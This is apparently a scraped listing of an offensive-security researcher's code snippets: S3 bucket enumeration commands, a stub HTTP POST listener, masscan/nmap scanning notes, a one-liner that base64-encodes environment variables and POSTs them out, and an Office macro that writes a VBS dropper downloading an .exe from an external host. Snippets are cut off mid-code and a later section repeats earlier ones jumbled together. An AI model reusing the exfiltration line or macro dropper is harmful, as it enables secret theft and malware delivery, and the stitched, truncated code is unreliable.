Jason Ostrom iknowjason

## listbuckets.sh
s3mcd ls
s3cmd ls s3://<BUCKET>

## listobjects.sh
s3cmd ls -r s3://<BUCKET>/<OBJECT>/ | awk ‘{print $4}’
aws s3 ls s3://<BUCKET> --recursive

## getobject.sh
s3cmd get s3://<BUCKET>/<OBJECT> <LOCAL_FILE>

## getbucketencryption.sh
aws s3api get-bucket-encryption --bucket <BUCKET>
aws s3api head-object --bucket <BUCKET> --key <KEY>

## post.py
from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Hello, world!')

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])

## curl-exfil.sh
STUFF=`env | base64`; curl -d "$STUFF" -X POST http://localhost:8000

## payload1.vbs
Private Sub CommandButton1_Click()
    Dim myoutputfile As Integer
    Dim FilePath As String
    Set oShell = CreateObject("WScript.Shell")
    userProfilePath = oShell.ExpandEnvironmentStrings("%UserProfile%")

    myFile = userProfilePath + "\layoffs15.vbs"
    myoutputfile = FreeFile
    Open myFile For Output As #myoutputfile
    Print #myoutputfile, "HTTPDownload ""http://billing.rtcfingroup.com/nysoft15.exe"", """ & userProfilePath & """"; ""

## masscan_nmap1.py
## Overview:  These steps will help you automate masscan and nmap together.  Run masscan to enumerate all live hosts and listening ports.
### Then use nmap to run a more targeted service and NSE basic scripts scan.  This will ran against all hosts with all enumerated ports.
### So there might be extra port scans that run against hosts that don't have those listening ports.
### Important Note:  Tested on masscan 1.06 - There might be issues with older versions of masscan (i.e., 1.04) with JSON output

### Step 1:  Run masscan with a JSON output file
### Example:  sudo masscan 192.168.10.0/24 -p1-65535 -oJ mscan.xml
### Note:  Make sure you take note of your output file for next step

## Step 2:  Run this script that takes the output from Masscan JSON output file and outputs a command you can use for nmap

## masscan_nmap2.py
1.  Edit the file for any nmap specific options after masscan runs
2.  Run it:  masscan_nmap2.py -i <IP> -p <Ports> -r <RATE>

## masscan_nmap3.py
### Step 1:  Run masscan with a JSON output file
### Example:  sudo masscan 192.168.10.0/24 --rate 10000 -p1-65535 -oJ mscan.xml
### Note:  Make sure you take note of your output file for next step
### Important Note:  Tested on masscan 1.06 - There might be issues with older versions of masscan (i.e., 1.04) with JSON output

## Step 2:  Run this script that takes the output from Masscan JSON file and outputs a command you can use for nmap
### Example:  python3 masscan_nmap3.py mscan.xml
### Note:  The script will create 'scans.txt' to be used by nmap; This file will allow you to run one nmap command per line, with each host and the ports listening that were enumerated by masscan

## Step 3:  Run the command below which will loop through 'scans.txt' and run an nmap scan.  An output file will be created for each host:
	s3cmd ls -r s3://<BUCKET>/<OBJECT>/ \| awk ‘{print $4}’
	aws s3 ls s3://<BUCKET> --recursive
	aws s3api get-bucket-encryption --bucket <BUCKET>
	aws s3api head-object --bucket <BUCKET> --key <KEY>
	from http.server import HTTPServer, BaseHTTPRequestHandler
	class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

	def do_GET(self):
	self.send_response(200)
	self.end_headers()
	self.wfile.write(b'Hello, world!')

	def do_POST(self):
	content_length = int(self.headers['Content-Length'])
	Private Sub CommandButton1_Click()
	Dim myoutputfile As Integer
	Dim FilePath As String
	Set oShell = CreateObject("WScript.Shell")
	userProfilePath = oShell.ExpandEnvironmentStrings("%UserProfile%")

	myFile = userProfilePath + "\layoffs15.vbs"
	myoutputfile = FreeFile
	Open myFile For Output As #myoutputfile
	Print #myoutputfile, "HTTPDownload ""http://billing.rtcfingroup.com/nysoft15.exe"", """ & userProfilePath & """"; ""
	## Overview: These steps will help you automate masscan and nmap together. Run masscan to enumerate all live hosts and listening ports.
	### Then use nmap to run a more targeted service and NSE basic scripts scan. This will ran against all hosts with all enumerated ports.
	### So there might be extra port scans that run against hosts that don't have those listening ports.
	### Important Note: Tested on masscan 1.06 - There might be issues with older versions of masscan (i.e., 1.04) with JSON output

	### Step 1: Run masscan with a JSON output file
	### Example: sudo masscan 192.168.10.0/24 -p1-65535 -oJ mscan.xml
	### Note: Make sure you take note of your output file for next step

	## Step 2: Run this script that takes the output from Masscan JSON output file and outputs a command you can use for nmap
	1. Edit the file for any nmap specific options after masscan runs
	2. Run it: masscan_nmap2.py -i <IP> -p <Ports> -r <RATE>